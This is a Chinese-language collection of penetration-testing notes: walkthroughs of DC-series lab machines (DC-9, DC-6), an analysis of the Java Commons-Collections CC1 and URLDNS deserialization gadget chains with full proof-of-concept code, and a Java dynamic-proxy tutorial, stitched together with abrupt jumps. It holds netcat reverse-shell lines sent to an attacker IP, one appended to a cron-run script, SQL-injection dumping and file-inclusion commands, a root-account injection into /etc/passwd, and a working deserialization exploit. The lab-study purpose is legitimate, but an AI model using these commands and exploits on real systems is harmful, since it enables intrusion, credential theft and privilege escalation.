python -c "import pty;pty.spawn('/bin/bash')"
#利用python 弄个交互页面

提权

1
2
3
4
5
6
7
#向
/opt/scripts/backups.sh
#内写入反弹shell的脚本
#用bash nc都可以 我这里用的是nc
echo "nc 192.168.79.128 12345 -e /bin/bash" >> /opt/scripts/backups.sh
# 记得kali也要开启侦听
nc -lvvp 12345

图片

要等比较久 要等他计划任务执行 ,然后就获得flag了!

这是DC系列的最后一个靶机,难度中等,思路比较清晰容易上手

记得设置NAT,然后获取到MAC地址

主机发现与端口扫描

因为靶机与kali处于同一个网段先使用nmap发现地址,然后在对地址进行详细的端口探测

1
nmap 192.168.1.0/24

靶机地址为192.168.1.106
对该地址进行端口扫描

1
nmap -sV -p- -A -O  192.168.1.106

开放了22与80端口
图片

进入80端口发现可以输入信息,但是页面上看不到输入的内容判断使用的是POST方式

图片

可以使用burp抓包尝试修改参数

查看是否存在SQL注入

使用 ‘ or 1=1 – 进行尝试

发现存在SQL注入

直接使用sqlmap进行暴库

1
sqlmap -u "http://192.168.1.106/results.php" --dbs --data "search=1" --batch

将两个数据库的内容都爆出来

1
2
3
4
5
6
7
8
第一个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' -C 'Username,Password' --dump --batch
第二个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' -C 'username,password' --dump --batch

图片

获得第一个库的账号密码,通过解密获得密码

账号:admin

密码:transorbital1

第二个库

获取shell

因为开放了22端口尝试进行远程登录

登录被拒绝

换一种思路进行尝试

使用第一个库爆出的账号密码在页面中进行登录

看看是否能获得一些有用的信息

发现页面最下面显示文件不存在,看看是不是文件包含

图片

1
http://192.168.1.106/welcome.php?file=../../../../../../../etc/passwd

命令可以执行
最终通过爆破发现knockd.conf,通过查找资料发现这个文件是端口敲门服务,用于将服务隐藏,需要将它开放的端口进行逐个敲门才能够开启ssh远程连接端口

1
http://192.168.1.106/welcome.php?file=../../../../../../../etc/knockd.conf

图片

使用nc逐一敲击三个端口

再次扫描端口之后发现22端口已被打开

图片

连接ssh远程端口需要密码

我们可以使用之前爬取数据库获得的账号与密码生成两个字典

使用hydra进行爆破

图片

因为这是复现,这里直接进入有敏感信息的账号

账号:janitor

密码:Ilovepeepee

登录成功后,ls -al 查看所有文件

发现.secrets-for-putin,这是一个储存密码的文件

图片

将获取的密码写入之前的字典重新进行爆破

账号:fredf

密码:B4-Tru3-001

图片

提权

sudo -l查看是否有可利用信息

进入/opt/devstuff/目录下发现test.py

查看test.py内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。

这段代码的意思是将输入的第一个文件名的内容,增加到第二个输入的文件名内容里面去

我们可以构造一个root权限的文件,并将这个文件写入到/etc/passwd文件中

passwd格式:

用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器

首先进入/tmp目录下,因为在这个目录下我们有写权限

第一次尝试失败,因为设置密码时设置的密码为空在提权时直接身份验证失败

使用openssl生成一个新用户和新密码

1
2
3
openssl passwd -1 -salt 123 123  用户:123 密码:123 salt是撒盐加密
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 123 把123用户赋予root权限,写到文件123中
sudo /opt/devstuff/dist/test/test /tmp/123 /etc/passwd 调用命令将123文件写入/etc/passwd

切换用户 获得flag
图片

java日你妈

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()Runtime.exec()

动态代理

CC1中运用到了这部分知识,简单做下介绍

举一个简单的例子,供货商发货给超市,我们去超市买东西。

此时超市就相当于一个代理,我们可以直接去供货商买东西,但一般不这样做。

Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用。

而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用。

当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容

Sample:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};

Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("liming");
}
}

Hello.java

1
2
3
public interface Hello {
void morning(String name);
}

这里首先定义了一个handler,通过其实现对类接口的实现

接着定义了一个代理对象Hello,传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。

此时我调用hello.morning,就会触发handler的invoke方法,并传递三个参数进去,分别为proxy即代理对象,method即调用的方法的Method对象,args即传递的参数。

所有的handler都需要实现InvocationHandler这个接口,并实现其invoke方法来实现对接口的调用

利用链分析

先对后半段链进行分析。在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的

图片

CC1中主要运用的是以下三个实现了这个借口的类

  • InvokerTransformer
    其transform方法实现了通过反射来调用某方法:

图片

  • ConstantTransformer
    其transform方法将输入原封不动的返回:

图片

  • ChainedTransformer
    其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:图片

以上三者结合起来就能实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}

首先看下InvokerTransformer的transform方法

1
2
3
4
5
6
7
8
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

接收了一个对象,并接收该对象的方法,方法名,方法所需要的参数类型,以上三者我们都能进行控制,所以可以通过这里进行命令控制

1
2
3
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);

但是这里要注意Runtime类是没有继承序列化接口的,所以在反序列化后传递进去一个Runtime实例是会报错的,所以这里要使用反射来获取,于是就要想办法把Runtime.getRuntime()这一条件去掉,就到了ConstantTransformer这个类
上面说了,其transform方法是将输入的Object原封不动的返回回去,所以可以这样

1
2
3
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);

最终把上面两者搭配ChainedTransformer进行结合

1
2
3
4
5
6
7
8
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})

});
chain.transform(123);
}

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:
图片

因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。

那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。

这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果

这里刚开始看Class[].class以及new Class[0]是不太理解的,去调用getMethod方法查看定义

图片

这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用

梳理下目前构造的链:

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);

目前构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。

cc1里用的是Lazymap#get这个方法:

图片

如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了

1
protected final Transformer factory;

这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值
图片

但是这里的构造方法并不是public的,所以需要通过反射的方式来获取到这个构造方法,再创建其实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}

接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了

入口时AnnotationInvocationHandler的readObject:

图片

这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);

这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,那么就会触发LazyMap#get,从而完成触发rce
完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;



import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);



Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象



Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

分析一下利用过程:
在readObject时,会触发AnnotationInvocationHandler#readObject方法

图片

此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法

图片

这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类,接着会调用他的invoke方法:

图片

InvocationHandler#invoke的78行代码中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链

这里还是比较绕的,因为设置了两个handler,但是第一个handler是为了触发lazymap#get,而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。

接着解释一些细节的问题:

1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?

因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例

图片

2.为什么创建其实例时传入的第一个参数是Override.class?

因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类

图片

1
2
3
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}

而Override.class正是java自带的一个注解类,换成其他注解类也行不过推荐是java自带的。

PS

创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例

图片

所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的

1
2
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

p神就是用的该方法进行创建LazyMap实例

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使⽤: 使⽤Java内置的类构造,对第三⽅库没有依赖 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

ysoserial里是这样生成urldns的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

利用链:

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

urldns是yso中较为简单的一个gadget,所以这里可以直接通过正向分析的方式进行分析
看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap。因为触发反序列化的⽅法是 readObject,那么可以直奔 HashMap 类的 readObject ⽅法:

HashMap#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

putVal这一段,这里调用了hash方法来处理key,跟进hash方法:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里调用了key.hashCode方法,让我们看看URL的hashCode方法:
URL#hashCode:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

在URL类的hashCode方法中,又调用了URLStreamHandler#hashCode,并将自身传递进去:
URLStreamHandler#hashCode

1
2
3
4
5
6
7
8
9
10
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);

getHostAddress,正是这步触发了dns请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 protected synchronized InetAddress getHostAddress(URL u) {  
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals(""))
{
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex)
{
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。
可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.

回到第一步:HashMap#readObject

key是使用readObject取出来的,也就是说在writeObject一定会写入key

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

跟入internalWriteEntries

1
2
3
4
5
6
7
8
9
10
11
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。

此时我们如果想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询

HashMap#put:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
1
2
3
4
5
6
7
8
9
10
11
12
import java.util.HashMap;
import java.net.URL;

public class Test {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
map.put(url,123); //此时会产生dns查询
}

}

只想判断payload在对方机器上是否成功触发,那就应该避免掉这一次dns查询以及多余的操作,回到URL#hashCode:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里会先判断hashCode是否为-1,如果不为-1则直接返回hashCode,也就是说我们只要在put前修改URL的hashCode为其他任意值,就可以在put时不触发dns查询。
图片

这里的hashCode是private修饰的,所以我们需要通过反射来修改其值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Test {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改访问权限
f.set(url,123); //设置hashCode值为123,这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
map.put(url,123); //调用map.put 此时将不会再触发dns查询
}

}

此时输出url的hashCode为123,证明修改成功。当put完毕之后再将url的hashCode修改为-1,确保在反序列化调用hashCode方法时能够正常进行,下面是完整的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#URLDNS.java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxxx.xxx.xxx");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
hashMap.put(url, "rmb122");
f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}

#Test.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}



回过头来看看yso的payload
yso在创建URL对象时使用了三个参数的构造方法。yso用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:

1
2
3
4
5
6
7
8
9
10
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

定义了一个URLConnection和getHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,这里直接return null了,所以自然也就不会产生dns查询。

动态代理概述

代理主要是对对象的行为额外做一些辅助操作。

 

**@**如何创建代理对象

Java中代理的代表类是:java.lang.reflect.Proxy

Proxy提供了一个静态方法,用于为对象产生一个代理对象返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
 package com.proxy1;

public interface skill {
void jump();
void sing();
}

package com.proxy1;
public class stat implements skill{
private String name;
public stat(String name) {
this.name = name;
}
@Override
public void jump() {
System.out.println("开始跳舞");
}
@Override
public void sing() {
System.out.println("开始唱歌");
}
}



package com.proxy1;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;



public class statAgent {
public static skill getProxy(stat obj){
return (skill) Proxy.newProxyInstance(obj.getClass().getClassLoader(),
obj.getClass().getInterfaces(),
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("首付款");
Object rs = method.invoke(obj, args);
System.out.println("收尾款");
return rs;
}
});
}
}



package com.proxy1;

public class Test {
public static void main(String[] args) {
stat s = new stat("杨超越");
skill s2 = statAgent.getProxy(s);
s2.jump();
s2.sing();
}
}

Java****中如何生成代理,并指定代理干什么事

图片

总结:

**1.****代理是什么?**

一个对象,用来对被代理对象的行为额外做一些辅助工作。

**2.****在****Java****中实现动态代理的步骤是什么样的?**

1必须存在接口

2被代理对象需要实现接口

3使用Proxy类提供的方法,方法的代理对象

**3.****通过代理对象调用方法,执行流程是怎么样的?**

1先走向代理

2代理可以为方法额外做一些辅助工作

3开发真正触发对象的方法的执行

4回到代理中,由代理负责返回结果给方法的调用者

优化的关键步骤

1必须有接口,实现类要实现接口(代理通常是基于接口实现的)

2创建一个实现类的对象,该对象为业务对象,紧接着为业务对象做一个代理对象

 

动态代理的优点:

1
2
3
4
1可以在不改变方法源码的情况下,实现对方法功能的增强,提高了代码的复用。
2简化了编程工作、提高了开发效率,同时提高了软件系统的可扩展性。
3可以被代理对象的所有方法做代理。
4非常的灵活,支持任意接口类型的实现类对象做代理,也可以直接为接口本身做代理。

环境配置

攻击机和靶机都设置为NAT,以防万一打个快照,另外靶机记得设置获取MAC地址

信息收集

靶机官网给出的两个线索:

需要去配置一下hosts文件,kali里面的密码本

1、使用nmap进行扫描,开放了22和80端口

图片

2、直接访问80端口是不能够解析出来的,我们需要去配置一下hosts文件

1
2
3
4
5
Windows系统下在 C:\windows\system32\drivers\etc\hosts
打开后在末尾添加:192.168.2.25 wordy
Linux系统下在/etc/hosts
vim /etc/hosts
添加 ip wordy

图片

3、查看了一下没有什么发现,扫描一下目录,扫描出了登陆界面,尝试一些弱口令,没有登陆进去

图片

4、既然是WordPress的网站,可以用它专门的扫描工具来扫描一下,wpscan,这个是kali里面自带的工具。

而且也找得到了后台登陆页面,题目也提示了密码本,所以可以寻找一下用户名。

图片

爆破

1、找到五个用户名:admin、mark、graham、sarah、jens,将用户名放到一个文件里作为用户名,然后再将rockyou.txt里面的带有k01的导出作为密码,进行爆破。

vim dc-username.txt #将用户名放到其中
gunzip rockyou.txt.gz rockyou.txt #解压密码本
cat /usr/share/wordlists/rockyou.txt | grep k01 > dc6-passwd.txt #将带有k01的密码导到dc6-paswd.txt中
2、使用wpscan来爆破

wpscan –url http://wordy/-U dc6-username.txt -P dc6-passwd.txt
找到mark的密码为:helpdesk01

图片

3、登陆后台

后台插件getshell

1、利用Activity monitor插件的rce漏洞来getshell

2、点击Activity monitor -> Tools

图片

3、执行命令的同时使用burp抓包,发送到repeater模块。

前端限制了只能填写15个字符,可以F12修改长度。

图片

4、反弹shell

kali终端上:nc -lvvp 4444
burp抓包修改为:nc ip 4444 -e /bin/bash
图片

图片

5、获取一个稳定一点的shell终端

python -c ‘import pty;pty.spawn(“/bin/bash”)’
图片

水平越权

1、因为是登录了mark,所以只能查看mark用户下的文件,提示了graham用户的密码为:GSo7isUM1D4

图片

2、成功越权到graham用户下

图片

提权

1、使用sudo -l查看用户有哪些命令操作

